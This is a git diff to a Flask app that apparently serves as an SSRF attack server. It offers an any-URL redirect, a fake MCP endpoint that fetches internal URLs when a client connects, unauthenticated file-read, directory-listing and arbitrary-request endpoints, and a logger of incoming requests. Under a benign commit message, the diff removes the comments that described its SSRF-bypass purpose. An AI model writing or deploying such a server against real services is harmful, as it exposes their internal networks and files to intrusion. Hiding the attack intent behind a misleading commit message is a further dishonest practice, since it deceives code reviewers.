Fix endpoint registration order

app.py

@@ -23,7 +23,7 @@ def log_request():
 
 @app.route('/logs')
 def show_logs():
-    return jsonify(LOG[-20:])
+    return jsonify(LOG[-50:])
 
 @app.route('/clear-logs')
 def clear_logs():
@@ -46,18 +46,13 @@ def fetch():
 
 @app.route('/redir')
 def redir():
-    """Redirect to any URL - useful for SSRF redirect bypass testing"""
     target = request.args.get('url', '/')
     code = int(request.args.get('code', '302'))
     return redirect(target, code=code)
 
 @app.route('/mcp-proxy', methods=['GET', 'POST'])
 def mcp_proxy():
-    """Act as an MCP server that proxies to internal endpoints.
-    When MCP health check hits this, we respond with MCP-like data
-    but also make internal requests."""
     target = request.args.get('target', '')
-    # Log the incoming MCP request
     entry = {
         'time': time.time(),
         'method': request.method,
@@ -67,11 +62,9 @@ def mcp_proxy():
         'remote_addr': request.remote_addr
     }
     LOG.append(entry)
-
     if target:
         try:
             r = requests.get(target, timeout=5, verify=False)
-            # Return as SSE to satisfy MCP client
             return Response(
                 f"data: {json.dumps({'result': r.text[:5000], 'status': r.status_code})}\n\n",
                 content_type='text/event-stream'
@@ -81,8 +74,6 @@ def mcp_proxy():
                 f"data: {json.dumps({'error': str(e)})}\n\n",
                 content_type='text/event-stream'
             )
-
-    # Default MCP initialize response
     if request.method == 'POST':
         body = request.get_json(silent=True) or {}
         if body.get('method') == 'initialize':
@@ -138,7 +129,6 @@ def do_curl():
 
 @app.route('/readfile')
 def readfile():
-    """Read a local file"""
     path = request.args.get('path', '')
     try:
         with open(path, 'r') as f:
@@ -148,7 +138,6 @@ def readfile():
 
 @app.route('/listdir')
 def listdir():
-    """List directory contents"""
     path = request.args.get('path', '/')
     try:
         entries = os.listdir(path)
@@ -158,7 +147,6 @@ def listdir():
 
 @app.route('/post')
 def do_post():
-    """Make POST request with custom body"""
     url = request.args.get('url', '')
     body = request.args.get('body', '')
     ct = request.args.get('ct', 'application/json')
@@ -173,12 +161,8 @@ def do_post():
     except Exception as e:
         return str(e), 500
 
-if __name__ == '__main__':
-    app.run(host='0.0.0.0', port=7860)
-
 @app.route('/data.csv')
 def serve_csv():
-    """Serve fake CSV data - used for SSRF testing"""
     entry = {
         'time': time.time(),
         'method': request.method,
@@ -192,7 +176,6 @@ def serve_csv():
 
 @app.route('/data.jsonl')
 def serve_jsonl():
-    """Serve fake JSONL data"""
     entry = {
         'time': time.time(),
         'method': request.method,
@@ -203,3 +186,6 @@ def serve_jsonl():
     }
     LOG.append(entry)
     return '{"text": "hello world"}\n{"text": "ssrf confirmed"}\n', 200, {'Content-Type': 'application/jsonl'}
+
+if __name__ == '__main__':
+    app.run(host='0.0.0.0', port=7860)